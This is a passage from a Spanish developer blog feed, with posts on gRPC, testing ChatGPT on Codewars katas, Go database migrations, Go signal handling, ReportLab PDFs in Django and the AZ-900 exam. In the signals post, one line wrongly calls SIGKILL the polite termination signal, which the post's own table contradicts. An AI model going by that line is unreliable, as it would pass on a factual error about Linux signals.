Como puedes apreciar gRPC es mucho más rápido que REST más JSON al procesar peticiones, las pruebas de rendimiento varian de 5 hasta 10 veces.

¿Por qué gRPC es tan eficiente?

Existen varios factores que vuelven a los gRPC extremadamente eficiente para intercambiar información:

Usa los protobuffers como estructura para intercambio de datos.
El uso de HTTP2 y multiplexación
Compresión de headers o cabeceras

El formato binario de los protobuffers se traduce en una menor cantidad de información a transportar y un manejo más fácil y eficiente por parte de las computadoras.

Por otro lado, el uso de HTTP/2, le permite a gRPC enviar múltiples streams de información sobre una sola conexión TCP (multiplexación) de manera bidireccional y asíncrona.

Tipos de Go Lang gRPC y streaming

El protocolo HTTP/2 es muy versátil y le permite a gRPC soportar cuatro tipos de comunicaciones entre cliente y servidor:

Unary. El cliente y el servidor se comunican usando una petición y respuesta sencilla, como en REST.

graph TD; Cliente-->Servidor; Servidor-->Cliente;

Streaming del lado del servidor. El servidor envía múltiples respuestas a una petición del cliente.

graph TD; Cliente-->Servidor; Servidor-->Cliente; Servidor-->Cliente; Servidor-->Cliente;

Streaming del lado del cliente. El cliente envía múltiples peticiones al servidor y este responde con una única respuesta.

Usado en el MCP Model Context Protocol

graph TD; Cliente-->Servidor; Cliente-->Servidor; Cliente-->Servidor; Servidor-->Cliente;

Streaming bidireccional. Tanto el cliente como el servidor envían múltiples peticiones y respuestas, respectivamente.

graph TD; Servidor-->Cliente; Servidor-->Cliente; Servidor-->Cliente; Cliente-->Servidor; Cliente-->Servidor; Cliente-->Servidor;

Como puedes ver esto es super útil para servicios que requieran intercambios constantes de grandes cantidades de información, como los microservicios.

Otras capacidades de gRPC

Interceptores

gRPC cuenta con mecanismo para interceptar mensajes y modificarlos a tu gusto, puedes pensar en ellos como una especie de middleware.

Balanceo de carga

gRPC provee capacidades de balanceo de carga de manera nativa.

Recursos de referencia

Pongo a prueba a ChatGPT Con Desafios De Codigo De Codewars

Mon, 12 Dec 2022 00:00:00 +0000

ChatGPT está rompiendo con todo lo conocido anteriormente en inteligencia artificial, algunos desarrolladores están preocupados de que una Inteligencia Artificial pueda reemplazarlos en sus trabajos , justo como amenazó Github Copilot en su momento. En esta entrada pongo a prueba la supuesta inteligencia de ChatGPT contra tres desafios de codewars.

¿Cómo funciona Codewars?

Antes de empezar necesitas entender que Codewars es una red social de programadores en la que se comparten desafios de código escritos por los mismos usuarios. Cada desafio puede ponerse a prueba con una serie de pruebas y, si las pasa todas, el desafio se considera completado. Estos desafios tienen el nombre de katas.

Cada kata posee un nivel de dificultad, definido por su número de kyu (como en las artes marciales), siendo los números más altos los más fáciles y los más pequeños los más difíciles, yendo desde el 8vo kyu al 1er kyu.

Los desafios son muy variados, van desde pruebas clásicas; como la obtención de números primos, hasta algunas más complejos; como escribir código sin superar dos caracteres por linea.

Test con peticiones comunes a ChatGPT

Para empezar estuve probando ChatGPT con una serie de peticiones sencillas y populares. Encontré que ChatGPT pudo devolver el código correcto en cada ocasión con su explicación y pasos lógicos:

Números de fibonacci
Números primos
Palíndromos
Validar email, strings, números
Labores muy concretas de algunos frameworks. Por ejemplo: Sustituir el modelo de User en Django.

Observa como sabe como reemplazar el usuario en Django, pero da por hecho que la mejor opción para un campo location es un CharField.

Francamente, estoy sorprendido con las capacidades de generar código correcto que tiene ChatGPT para tareas sencillas y con información abundante en la red; no esperaba tal capacidad.

Para esta entrada voy a ponerlo a prueba a esta inteligencia artificial con acertijos de algoritmos que requieren un poco más que googlear información en internet.

Selección de las pruebas de Codewars

Para estas pruebas traté de elegir un punto medio entre aquellas pruebas con requisitos muy directos y con soluciones abundantes en la red (como los números de fibonacci o los primos) y aquellas otras que requieren muchísima información adicional, premisas muy complejas o que requieren contexto extra. Además me enfoqué en aquellas soluciones que no son tan populares en la red.

ChatGPT vs Rotate matrix counter - clockwise N - times! (6 kyu)

El desafio de la prueba Rotate matrix counter - clockwise N - times! es: In this kata your mission is to rotate matrix counter - clockwise N-times. Es decir, rotar una matriz contra reloj “n” numero de veces.

El input que usé en ChatGPT para generar el código es el siguiente: Create a function that rotates a matrix counter-clockwise “n” number of times.

Rotate a Matrix counter-clockwise with ChatGPT

El código Python generado por nuestra Inteligencia Artificial es el siguiente:

# Este código fue generado por OpenAI-ChatGPT
def rotate_matrix(matrix, n):
    # create a new matrix with the same dimensions as the input matrix
    rotated_matrix = [[0 for j in range(len(matrix[0]))] for i in range(len(matrix))]
  
    # loop over the elements of the input matrix
    for i in range(len(matrix)):
      for j in range(len(matrix[0])):
        # rotate the element at position (i, j) counter clockwise by n positions
        # and store it in the corresponding position in the new matrix
        rotated_i = (i + n) % len(matrix)
        rotated_j = (j + n) % len(matrix[0])
        rotated_matrix[rotated_i][rotated_j] = matrix[i][j]
  
    # return the rotated matrix
    return rotated_matrix

Análisis de la respuesta

Tras ejecutar el código podremos apreciar que todos los tests fallan, la matriz gira, pero más veces de las necesarias

Rota una Matrix en sentido contrario a las manecillas del reloj con ChatGPT

Quiero resaltar que ChatGPT produce código sintácticamente correcto, respetando identación, con nombres de variables intuitivos e incluso con una lógica que parece correcta, solo a simple vista, pero que tras la examinación más detallada, falla en “razonar” su lógica. Sí, ya sé que las inteligencias artificiales no razonan.

ChatGPT vs Find the nth Reverse Number (Extreme)

El desafio Find the nth Reverse Number consiste en: You need to return the nth reverse number. (Assume that reverse numbers start from 0 as shown in the example.)

Es decir, encontrar el palíndromo número “n” y con la condición adecuada de hacerlo con un excelente rendimiento de Big O.

0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 22, 33, 44, 55, 66, 77, 88, 99, 101

Encuentra un número palíndromo con ChatGPT

Análisis de la respuesta

Tras ejecutar el código me sorprendí al darme cuenta de que, tras un pequeño ajuste, ¡el resultado es correcto!

Resultado de la prueba palindrome de Codewars con ChatGPT

Además de producir código sintácticamente correcto, el código generado funciona perfectamente, incluso contiene comentarios.

// Este código fue generado por OpenAI-ChatGPT
function findReverseNumber(n) {
  let i = 0n; // initialize a BigInt variable with the value 0
  let found = 0;
  // El ajuste está aquí, n-1 en lugar de n
  while (found < n-1) {
    i++;
    if (isPalindrome(i)) {
      found++;
    }
  }
  return i;
}

function isPalindrome(num) {
  let str = num.toString();
  for (let i = 0; i < str.length / 2; i++) {
    if (str[i] !== str[str.length - i - 1]) {
      return false;
    }
  }
  return true;
}

Sin embargo, hay un pequeño error, a pesar de producir los resultados de manera correcta, el código no pasa las pruebas por que el rendimiento de Big O de la inteligencia artificial es insuficiente para la prueba.

Intenté obtener la respuesta correcta múltiples veces, incluso especificando la complejidad de Big O con diferentes inputs, pero fue imposible obtener el resultado correcto.

ChatGPT vs Regular Expression for Binary Numbers Divisible by n (1 kyu)

El desafio de Regular Expression for Binary Numbers Divisible by n es: Create a function that will return a regular expression string that is capable of evaluating binary strings (which consist of only 1s and 0s) and determining whether the given string represents a number divisible by n.

Prueba división de números binarios con ChatGpt

Tras solicitarle una respuesta nos devuelve una expresión bastante simple e incluso nos da una explicación paso a paso del razonamiento lógico, en apariencia correcto pero, en la práctica, incorrecto.

La expresión regular que nos devuelve como respuesta es la siguiente:

// Este código fue generado por OpenAI-ChatGPT
^[01]+\b(?:$){n}$

Análisis de la respuesta

Cuando la ponemos a prueba en las pruebas de codewars, falla, obviamente

Se añade un par extra de llaves para cumplir con la sintaxis de los F strings de Python. Los falsos positivos se deben al caracter binario de las respuesta

Resultados y mi opinión

Los resultados se resumen en la siguiente tabla:

Kata	Resultado
6 kyu	❌
4 kyu	✅
1 kyu	❌

Si bien ChatGPT acertó solo uno de los desafios (y a medias) es capaz de resolver problemas sencillos, que también podrían resolverse con una búsqueda en google o stackoverflow, esta inteligencia artificial es capaz de devolver un código que funciona, más no necesariamente correcto, ni eficiente, pero se acerca.

ChatGPT se vuelve bastante ineficiente con peticiones que requieren de un razonamiento más complejo y parece incapaz de construir un sistema complejo, con muchas partes que interaccionan entre sí, sin embargo reconozco que, ante cada pregunta, es capaz de devolver una respuesta sintácticamente correcta y de apariencia lógica, al menos a simple vista, dándonos una falsa sensación de seguridad si desconocemos el tema del que estamos preguntándole. Sin embargo sus respuesta sí que pueden servir de punto de partida.

¿Es ChatGPT una amenaza para los programadores?

¿Creo que ChatGPT representa va a poner en aprietos muchos trabajos? Sí, va a poner en dificultades a la mayoría de los trabajos (no necesariamente aquellos relacionados con código) no desafiantes y cuya dificultad radique en una sencilla búsqueda de google, o tareas automatizables, que requieran razonamientos simples. Sin embargo, considero que no es la veracidad de sus respuestas, sino su interfaz tipo chat, y la inmediatez de sus respuestas, la que la podrían volver bastante popular.

Por otro lado, algunos ven a la IA como un culto delirante que puede traer expectativas irreales que no corresponden con sus capcidades, así como la falsa ilusión de su cercanía con la AI, lo que puede complicar las cosas para el lado de los empleados, definitivamente hay un hype por la AI que no se corresponde con la realidad.

Tutorial de migraciones en Go con migrate

Fri, 25 Nov 2022 00:00:00 +0000

En frameworks como Django, las migraciones se crean automáticamente , a partir de los modelos. Sin embargo en lenguajes como go, siempre y cuando no estemos usando un ORM, las migraciones se realizarán de manera manual.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Qué es una migración de una base de datos?

Una migración es una abstracción para manejar el estado y los cambios que ocurren en una base de datos. En lugar de ejecutar las sentencias SQL una por una de manera manual, automatizamos el proceso escribiendo todo el SQL necesario y corriéndolo de manera automática.

Una migración consiste en dos archivos con instrucciones SQL:

archivo up: Para realizar cambios en la base de datos
archivo down: Para revertir cambios en la base de datos

Para este caso se llaman up y down, pero podrías ponerle cualquier otros nombres; como forward y backward, o adelante y atrás.

Por ejemplo:

Archivos de migración generados de manera manual

Las migraciones son complementarias

Observa como las migraciones son reversibles y complementarias; una realiza una acción y la otra la elimina.

Siguiendo esta lógica podemos realizar cambios en la base de datos y luego revertirlos.

Estos dos archivos pueden ser generados automáticamente (como en el caso de Django, a partir de los modelos) o podemos escribirlos nosotros directamente en SQL, como en el caso de go.

Instalación de migrate

Para manejar las migraciones vamos a usar la herramienta una herramienta llamada migrate, escrita en go.

Migrate se descarga directo desde su sección releases en github .

curl -L https://github.com/golang-migrate/migrate/releases/download/v4.15.2/migrate.linux-amd64.tar.gz | tar xvz
mv migrate.linux-amd64 $GOPATH/bin/migrate

Para versiones más nuevas de Go, utiliza go install

go install -tags 'sqlite3' github.com/golang-migrate/migrate/v4/cmd/migrate@latest

Tras esto deberás poder ver la versión que tienes instalada.

migrate -version
4.15.2

Creación de archivos de migración con migrate en Go

Para crear el par de archivos de migración, de los que te hable anteriormente, corremos el siguiente comando:

migrate create -seq -ext=.sql -dir=./migrations <nombre_de_la_migración>

Te explico que hace cada flag:

seq: indica que será secuencial, para que empiece por 000001 y continue hasta 00000n; el total de migraciones que tengamos.
dir: indicará el directorio
ext: la extensión del archivo, en este caso sql
Al final el nombre que queremos que tenga la migración. Yo usaré create_first_table para este ejemplo.

Tras la ejecución del comando, tendrás dos archivos de migración, uno con extensión .up.sql y el otro con extensión .down.sql dentro de la carpeta migrations.

ls
000001_create_first_table.up.sql 000001_create_first_table.down.sql

Estos archivos hay que editarlos de manera manual, y colocar en su interior las sentencias SQL que querramos.

Ejemplo de migraciones en go con postgres

Por ejemplo, para crear una hipotética tabla users en una base de datos en postgres:

Para el archivo up:

CREATE TABLE "users" ("id" serial NOT NULL PRIMARY KEY, "name" varchar(50) NOT NULL);

Y, para revertir lo anterior, está el archivo down:

DROP TABLE "users";

Nuevamente, aprecia como ambas instrucciones SQL son complementarias; una crea una tabla y la otra la elimina. Pero puedes poner más de una instrucción y estas pueden ser lo que quieras, un index, un constraint, una rutina, etc.

Ejecutar migraciones con migrate en Go

Hasta ahora solo hemos creado los archivos de migraciones, pero no le hemos hecho saber al programa donde está la base de datos.

Antes de realizar cualquier cambio en la base de datos necesitaremos indicarle la dirección de acceso, a esta última, en el siguiente formato [motor]://[usuario]:[contraseña]@[dominio]/[base de datos]

Y, obviamente, lo más cómodo y seguro será guardar esta dirección en una variable de entorno .

BASE_DE_DATOS=[motor]://[usuario]:[contraseña]@[dominio]/[base de datos]

Ahora ya tenemos una base de datos a la cual conectarnos.

Aplicar migraciones

Para aplicar todas las migraciones usaremos el comando up. Migrate detectará automáticamente la numeración y ejecutará todas las migraciones up en orden ascendente.

migrate -path=./migrations -database=$BASE_DE_DATOS up

Revetir migraciones

Por otro lado, para revertir todas las migraciones usaremos el comando down. Migrate detectará automáticamente la numeración y ejecutará todas las migraciones down en orden descendente.

migrate -path=./migrations -database=$BASE_DE_DATOS down

Ir a una migración específica

Mientras que, si queremos ir a una migración en específico, usaremos el comando goto seguido del número de migración al que queremos llevar la base de datos.

migrate -path=./migrations -database=$BASE_DE_DATOS goto <numero de migración>

Migrate detectará la migración activa y ejecutará las migraciones up or down correspondientes para llevar la base de datos a ese estado.

La tabla de migraciones

¿Y cómo sabe la herramienta en que migración se encuentra? Tras cada cambio que efectuemos a la base de datos, la herramienta migrate guardará el estado de nuestra base de datos en una tabla llamada schema_migrations que luce de la siguiente manera:

Tabla de migraciones donde el estado actual es 1, seleccionado en azul

Columna version

Observa como la columna versión guarda el estado de la migración actual. De esta manera migrate registra en que versión de las migraciones se encuentra.

Columna dirty

Además, esta tabla también contiene una columna llamada dirty que índica si hubo algún conflicto en la migración. En este último caso será necesario repararlo manualmente y forzar un nuevo estado en la tabla.

migrate -path=./migrations -database=$BASE_DE_DATOS force 1

Migraciones a bases de datos remotas

La herramienta Migrate también soporta migraciones remotas tales como:

Filesystem
io/fs
Go-Bindata
pkger
GitHub
GitHub Enterprise
Bitbucket
Gitlab
AWS S3
Google Cloud Storage

Cada uno de estos endpoints requiere una sintaxis específica. Por ejemplo, el de Amazon S3 luce así:

migrate -source="s3://<bucket>/<path>" -database=$BASE_DE_DATOS up

Con esto ya sabes lo básico sobre migraciones y probablemente también valores mucho más herramientas y ORMs que se encargan de esto de manera automática, como Django , Ruby on Rails, South, etc.

Go: Manejo de Signals para Cerrar Aplicaciones

Thu, 06 Oct 2022 00:00:00 +0000

Hoy voy a hablar de un tema que suele pasarse por alto en la mayoría de los tutoriales: el manejo del cierre de aplicaciones. ¿A qué me refiero? A esas veces en las que tienes que cerrar una aplicación, pero pueden existir tareas pendientes en ejecución, conexiones abiertas o simplemente quieres dejar un registro, en forma de un log, de que la aplicación fue cerrada.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Señales o Signals en Linux

Como seguramente ya sabes, el kernel de Linux es el que se encarga de “prestarle” los recursos a las aplicaciones de go (o cualquier otra aplicación) para que se ejecuten.

Debido a que linux es el núcleo del sistema, es capaz de pedir de vuelta esos recursos en cualquier momento y cerrar la aplicación.

Linux puede pedirle “amablemente” a las aplicaciones los recursos que les prestó o “arrebatárselos” por la fuerza. Para lo anterior, Linux envía una serie de señales (signals) a la aplicación, algunas de las cuales pueden ser capturadas y manejadas por la misma aplicación, con código en Go.

Linux terminará una aplicación de manera amable usando la señal SIGKILL

Señales de Linux principales

Las señales de Linux son bastantes, pero te dejo aquí las más importantes para este ejemplo:

Señal	Valor	Accion	Comentario	Comando	Atajo de Teclado
SIGINT	2	Term	Interrupción procedente del teclado	kill -2 pid	CTRL+C
SIGQUIT	3	Core	Terminarción procedente del teclado	kill -3 pid	CTRL+\
SIGTERM	15	Term	Terminar un proceso de una manera controlada	kill -15 pid
SIGKILL	9	Term	Terminar un proceso de manera forzosa, no puede manejarse por	kill -9 pid

En Linux, estas señales pueden mandarse a una aplicación por medio del comando kill , especificando el valor de la señal y el pid de la aplicación.

kill -<valor> <pid>
// kill -2 1234

Manejo de señales o signals en Go

En go, cuando queremos escuchar las señales que envía el kernel de Linux, usamos el método Notify del paquete signal. El método Notify mandará nuestro signal por un canal, el cual recibirá como primer argumento. El segundo y el tercer argumento son las señales que escuchará nuestro método.

func gracefulShutdown() {
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    // ...
}

Manejando los signals con canales o channels

Ahora tenemos un canal que recibe nuestra señal, pero… ¿qué hacemos con ella?

¿Recuerdas que, en go, las operaciones que mandan o reciben valores de canales son bloqueantes dentro de su propia goroutine , es decir, mantienen la ejecución del código en espera?

Pues en este caso vamos a dejar una variable esperado por el valos del canal que acabamos de crear, bloqueando el código en ese punto.

func gracefulShutdown() {
    quit := make(chan os.Signal, 1)
    signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
    s := <-quit
	fmt.Println("Cerrando aplicación", s)
    // ...
}

De esta manera la aplicación se quedará esperando hasta recibir cualquier señal (SIGINT o SIGTERM) por parte de Linux y, una vez que la reciba, ejecutará el resto del código de la función.

func gracefulShutdown() {
	quit := make(chan os.Signal, 1)
	signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
	s := <-quit
	fmt.Println("Cerrando aplicación", s)
	// ... resto del código
}

Por último, para que esta función se ejecute correctamente, necesitamos que se ejecute dentro de su propia goroutine . Para lo cual basta con anteponer la palabra clave go a la llamada de la función.

func main() {
    // ...
    go gracefulShutdown()
    // ...
}

Capturando una señal SIGNIT

Si ejecutamos un servidor web o cualquier otro proceso permanente y luego emitimos una señal SIGNIT, presionando CTRL + C en la terminal o con el comando kill, linux recibirá la señal y le notificará a nuestra aplicación que debe cerrarse.

go run main.go
Empezando el servidor. Pid: 8830

kill -2 8830
Cerrando el servidor: interrupt

Considera que el Pid puede ser diferente para ti.

Capturando una señal SIGTERM

Para emitir una señal SIGTERM, ejecutamos el comando kill de GNU/Linux, este se encargará de terminar la aplicación. Nuestra aplicación recibirá la señal a través del canal y ejecutará el resto del código.

go run main.go
Empezando el servidor. Pid: 9619

kill -15 9616
Cerrando el servidor: terminated

Por supuesto que lo ideal es que vayas más allá de imprimir un mensaje y te encargues de todas aquellas tareas que quieres pendientes que requieren una proceso de finalización más ordenado.

Ejemplo de apagado elegante con un servidor web

Te dejo el ejemplo completo con un servidor web escrito totalmente en go.

package main

import (
	"fmt"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
)

func getRoot(w http.ResponseWriter, r *http.Request) {
	//io.WriteString(w, "This is my website!\n")
	w.Write([]byte("Este es mi sitio web!\n"))
}

func gracefulShutdown() {
	quit := make(chan os.Signal, 1)
	signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
	s := <-quit
	fmt.Println("Cerrando el servidor:", s)
	os.Exit(0)
}

func main() {
	pid := os.Getpid() 
	fmt.Println("Empezando el servidor. Pid:", pid)
	go gracefulShutdown()
	http.HandleFunc("/", getRoot)
	if err := http.ListenAndServe(":8000", nil); err != nil {
		log.Fatalf("El servidor fallo al iniciar. Error: %v", err.Error())
	}
}

Tras ejecutarlo, intenta cancelar la aplicación con CTRL + C o con la terminal con el comando kill, y observa como se imprime el mensaje y se finaliza la aplicación de una manera más ordenada y controlada.

go run main.go

CTRL + C
Empezando el servidor. Pid: 8830
Cerrando el servidor: interrupt

Tutorial Generación de PDFs con Django y Reportlab

Thu, 22 Sep 2022 00:00:00 +0000

Con django y reportlab podemos generar PDFs de manera dinámica, usando información de nuestra base de datos, input del usuario o cualquier otra lógica de negocio que deseemos.

Instalación de reportlab

Lo primero será instalar reportlab, podemos usar pip, pipenv o cualquier otro gestor de paquetes que quieras.

pip install reportlab
# pip install reportlab

Definir tipo de respuesta PDF en Django

Una vez instalado vamos, las primeras lineas que escribiremos serán para asegurarnos de que el navegador sepa que le devolveremos un pdf, lo haremos por medio de una cabecera HTTP, la cabecera Content-Type, por medio de la variable content_type

Posteriormente le diremos que lo abra como un archivo adjunto, en una nueva ventana. Te mostraré como va quedando paso a paso, por razones didácticas, pero necesitas guardar en el objeto response el pdf antes de poder verlo en tu pantalla, lo haré un poco más adelante.

from reportlab.pdfgen import canvas
from django.http import HttpResponse

def pdfVideogame(request):
    response = HttpResponse(content_type="application/pdf")
    response["Content-Disposition"] = 'attachment; filename="hello.pdf"'

Crear un PDF con texto en Django

Para empezar vamos a crear un lienzo o canvas para escribir en él.

Esta librería funciona como si fueramos pintores, solo podemos tener activo un pincel, cada pincelada diferente (tipo de letra, tamaño de letra o color) requiere que cambiemos de pincel (establecer otro tamaño de texto, fuente o color)

Como ya sabes, lo primero que necesita un pintor es un lienzo, para esto viene perfecto el método Canvas.

Posteriormente, tal cual si escogieramos un pincel, vamos a elegir nuestro tipo de letra y tamaño.

def pdfVideogame(request):
    # ...
    p = canvas.Canvas(response)
    p.setFont("Courier", 28)

Ahora vamos a usar ese tipo de letra para “dibujar” un string en la posición 0 y 0.

def pdfVideogame(request):
    # ...
    p.drawString(0, 0, "Hola mundo")

Texto creado con reportlab

Esto dibujará nuestro string… en el fondo de la pantalla.

¿Por qué en el fondo? Puedes pensar que canvas trabaja con un plano cartesiano, le acabamos de decir a reportlab que dibuje el string en las coordenadas 0,0 del plano.

Reportlab se comporta como un plano cartesiano

Posicionando el texto en un PDF de Django

Ahora que sabemos que el primer argumento es el valor de separación del eje de las X, mientras que el segundo es la separación del eje de las Y, intentaremos algo más natural.

def pdfVideogame(request):
    # ...
    p.drawString(60, 750, "Hola mundo")

Texto posicionado de acuerdo a los ejes X y Y en reportlab

Cambiar color de letra en el PDF

Para cambiar el color de letra usamos el método setFillColorRGB. Necesitamos llamar este método antes de que reportlab pinte nuestro string, de otra manera usará el que esté activo.

Le pasamos el valor RGB (Un flotante de 0 a 1) que querramos que tenga nuestro texto.

def pdfVideogame(request):
    # ...
    p.setFillColorRGB(0,1,1)
    p.drawString(60, 750, "Hola mundo")

Texto en color azul claro

Ya tenemos un texto simple, vamos a guardar el contenido que generamos y a retornarlo como respuesta.

Retornarlo un PDF como respuesta en Django

Nuestra instancia del objeto canvas recibió nuestro objeto response como argumento, por lo que los cambios que acabamos de hacer se guardaron en el objeto response.

def pdfVideogame(request):
    # ...
    p.showPage()
    p.save()
    return response

Recuerda que, como estamos en django, deberemos agregar tu vista a las urls.

from .views import pdfVideogame

urlpatterns = [
    # ...
    path("pdf", pdfVideogame, name="pdfVideogame"),
]

Generar PDFs de manera dinámica con Django

Sabiendo lo anterior, seremos capaces de crear un PDF de manera directa iterando sobre una consulta a la base de datos usando el ORM de django.

def pdfVideogame(request):
    #...
    p.setFont("Courier", 28)
    p.setFillColorRGB(0.14, 0.59, 0.74)
    p.drawString(60, 750, "Videojuegos")

    p.setFont("Helvetica", 16)
    p.setFillColorRGB(0, 0, 0)

    # Usamos el ORM de Django para consultar la base de datos
    videogames = Videogame.objects.all()

    positionY = 700
    for videogame in videogames:
        # Accedemos al nombre individual de cada objeto
        p.drawString(60, positionY, videogame.name)
        positionY -= 25
    # ...

Primero creamos un título con tipo de letra y cambiar a otro para la información dinámica. Simplemente usamos el ORM de django para crear cualquier consulta que querramos y llamamos al método drawString por cada objeto de nuestra query.

Observa como disminuyo la posición de la coordenada Y, para que cada iteración escriba el texto en una nueva linea, de otra forma cada linea se sobrepondría con la siguiente.

Pdf generado de manera dinámica usando Django

Mejorar el rendimiento al generar un PDF en Django

Si tienes problemas de rendimiento al manejar PDFs complejos, considera usando la biblioteca io de Python, que permite trabajar con un objeto que se comporta exactamente como si fuera un archivo, pero en memoria.

from io import BytesIO

def pdfVideogame(request):

    buffer = BytesIO()

    p = canvas.Canvas(buffer)

    # ... 
    
    p.showPage()
    p.save()

    pdf = buffer.getvalue()
    buffer.close()
    response.write(pdf)
    return response

En lugar de pasarle el objeto response al método Canvas, le pasamos un buffer binario.

Al final, después de guardar los cambios en el pdf, obtenemos el valor del buffer, lo cerramos y lo escribimos en la respuesta.

Te dejo aquí el código completo:

def pdfVideogame(request):
    response = HttpResponse(content_type="application/pdf")
    response["Content-Disposition"] = 'attachment; filename="hello.pdf"'
    buffer = BytesIO()
    p = canvas.Canvas(buffer)
    p.setFont("Courier", 28)
    p.setFillColorRGB(0.14, 0.59, 0.74)
    p.drawString(60, 750, "Videojuegos")
    p.setFont("Helvetica", 16)
    p.setFillColorRGB(0, 0, 0)
    videogames = Videogame.objects.all()
    positionY = 700
    for videogame in videogames:
        p.drawString(60, positionY, videogame.name)
        positionY -= 25
    p.showPage()
    p.save()
    pdf = buffer.getvalue()
    buffer.close()
    response.write(pdf)
    return response

Ahora ya sabes como crear un PDF sencillo que te va a servir para la mayoría de los casos.

Examen de Certificacion Azure AZ-900 Mi Experiencia

Fri, 02 Sep 2022 00:00:00 +0000

El sábado 6 de agosto del 2022 presenté y aprobé mi examen para la certificación Microsoft Azure AZ-900.

¿En que consiste la certificación AZ-900?

La certificación AZ-900 Fundamentals garantiza que una persona conoce todos los servicios básicos que tiene la nube de microsoft, Azure, y sus aplicaciones empresariales.

Para fines prácticos, te prepara para que sirvas como un intermediario que le recomienda servicios de Microsoft Azure a una empresa o tercero, de acuerdo a sus necesidades. O, que como profesional del software, puedas echar mano de todos los servicios que ofrece Azure. Suele leerse como algo sencillo pero Azure cuenta con una gran cantidad de servicios.

Para conseguir lo anterior necestas conocer la arquitectura básica de Azure, sus diferentes servicios: computo, almacenamiento, inteligencia artificial, etc., sus características especiales, diferencias, y sus respectivos casos de uso.

Mi proceso de examen

El examen se llevó a cabo a través de la plataforma Evaluaasi , a través de la cual descargas un programa que se conecta a un escritorio remoto para la realización al examen. Este programa monitoreará tu computadora y dispositivos conectados, probablemente para evitar que un usuario haga trampa de alguna manera; he escuchado que algunos procesos de evaluación son tan estrictos que solicitan ver la habitación en la que realizarás el examen antes de comenzar.

Pantalla de inicio de la plataforma de evaluassi

Llegada la hora del examen, y una vez conectado al escritorio remoto, un evaluador colocará su usuario y contraseña para darte acceso al examen.

Según me dijeron en uno de sus correos, la aplicación del examen puede posponerse y son bastantes flexibles.

Formato del examen AZ-900

La duración del examen es de aproximadamente 60 minutos y cuenta con 45 preguntas, hay preguntas de opción múltiple, verdadero o falso, de relacionar columnas e incluso algunas en las que tienes que elegir una opción del marketplace de Microsoft directamente, justo como si te encontraras en el navegador.

Portal de azure

Puedes saltar preguntas y marcarlas para regresar a ellas más adelante, lo cual te recomiendo bastante porque el tiempo está justo, a mi me sobraron 10 minutos, pero hubo algunas preguntas que no pude contestar en la primera vuelta.

El examen se divide en diferentes secciones, cada una con un valor diferente, generalmente fluctuando cerca del 20%.

Al finalizar el examen, el sistema calcula tu puntuación de manera automática, y te informa si aprobaste. Requieres un mínimo de 700 puntos de un máximo 1000 puntos para aprobar.

Contenido del examen de certificación AZ-900

El examen está fuertemente orientado a las aplicaciones prácticas de los servicios de la nube. Este cuenta con preguntas enfocadas a casos prácticos, donde una empresa ficticia necesita decidir que servicio de la nube puede satisfacer mejor sus necesidades, por lo que no basta con saber definiciones, sino tener muy claros los conceptos y entenderlos, para poder aplicarlos en un entorno un poco más parecido al real.

¿En que idioma está el examen?

Al momento de presentar el examen es posible seleccionar de entre varios idiomas, entre ellos inglés y español, por lo que despreocúpate si crees que el idioma será una barrera más en este examen.

¿Dónde estudiar para el examen de certificación AZ-900?

Para estudiar utilicé los siguientes recursos, te dejo una descripción breve de cada uno.

Microsoft Learn

La plataforma de microsoft Learn es el recurso por defecto, pues nadie mejor que microsoft para para empezar a leer las características básicas de la nube de Azure. Sin embargo, al ser una solución basada únicamente en texto puede llegar a ser algo tediosa. Además, la gran cantidad de información puede hacer que se sientan perdidas aquellas personas que tienen su primer acercamiento con las nuevas tecnologías.

Plataforma de microsoft learning

La plataforma de e-learning también está disponible en español, solo selecciona el idioma.

Lee más adelante para detalles del contenido de esta plataforma.

Aprenderbigdata

Aprenderbigdata tiene una guia de examen en 5 archivos PDF bastante completa con preguntas en español, que puedes usar a manera de cuestionario de repaso, se encuentra casi al final de la página.

Sitio web de Adam Marczac

El sitio web de Marczac tiene un repaso completo del contenido de la certificación AZ-900, organizado en secciones, junto con un formulario interactivo en el que puedes probar tus conocimientos al momento, además de enlaces a sus videos de youtube. Yo lo recomiendo muchísimo.

John Savill’s Technical Training

Entre los recursos que usé para estudiar quiero destacar el siguiente video de John Savill, pues me pareció el más completo y mejor explicado:

Es un repaso de 3 horas en inglés, en el que te explican lo básico de la nube de Azure, de una manera más estructurada y visual. Como un plano gigante de la nube, en el que van explicándote cada parte y como se relaciona con las otras.

¿Cuánto cuesta la certificación AZ-900? ¿Es gratis?

La certificación cuesta alrededor de $90 USD directamente con microsoft, pero yo la he obtenido de manera gratuita como parte de un reto de certificación de la plataforma de aprendizaje de Platzi .

Tengo entendido que si te registras en la plataforma de e-learning Microsoft Learn, suelen regalar cupones de vez en cuando.

Con tantos cupones y otras opciones gratuitas, yo no te recomiendo que desembolses el dinero de tu bolsillo sino que esperes a que aparezca alguna oportunidad de obtenerla de manera gratuita o mucho más barata.

Proceso de certificación gratuita Az-900 por parte de Platzi

Hace un par de meses Platzi ofrecía un reto en el que te obsequian la oportunidad de certificarte de manera completamente gratuita, a través de su plataforma, con dos requisitos: aprobar una serie de cursos en su plataforma, con sus respectivos exámenes, y completar un laboratorio de prácticas de Microsoft Learn.

Cursos de Platzi requeridos para el AZ-900

El proceso consiste en terminar los siguientes 4 cursos:

Fundamentos de Ingeniería de Software
Curso de Introducción a la Terminal y Línea de Comandos
Curso de Administración de Servidores Linux
Curso de Introducción a la Nube con Azure

En general los dos primeros son bastantes sencillos, sobre todo si ya tienes experiencia usando los comandos básicos de la linea de comandos , los últimos dos sí requieren algo de experiencia o mucha práctica de tu parte para aprobarlos.

Curso de administración de servidores Linux

Prácticas de Microsoft Learn

El laboratorio de prácticas son una serie de 20 cursos en los que cada curso se subidivide en teoría y práctica. En la parte teórica te muestran los fundamentos del tema de manera escrita, mientras que la parte práctica consiste en un pequeño formulario de 3-4 preguntas en el que se evalua el contenido anterior, pero a manera de aplicación práctica.

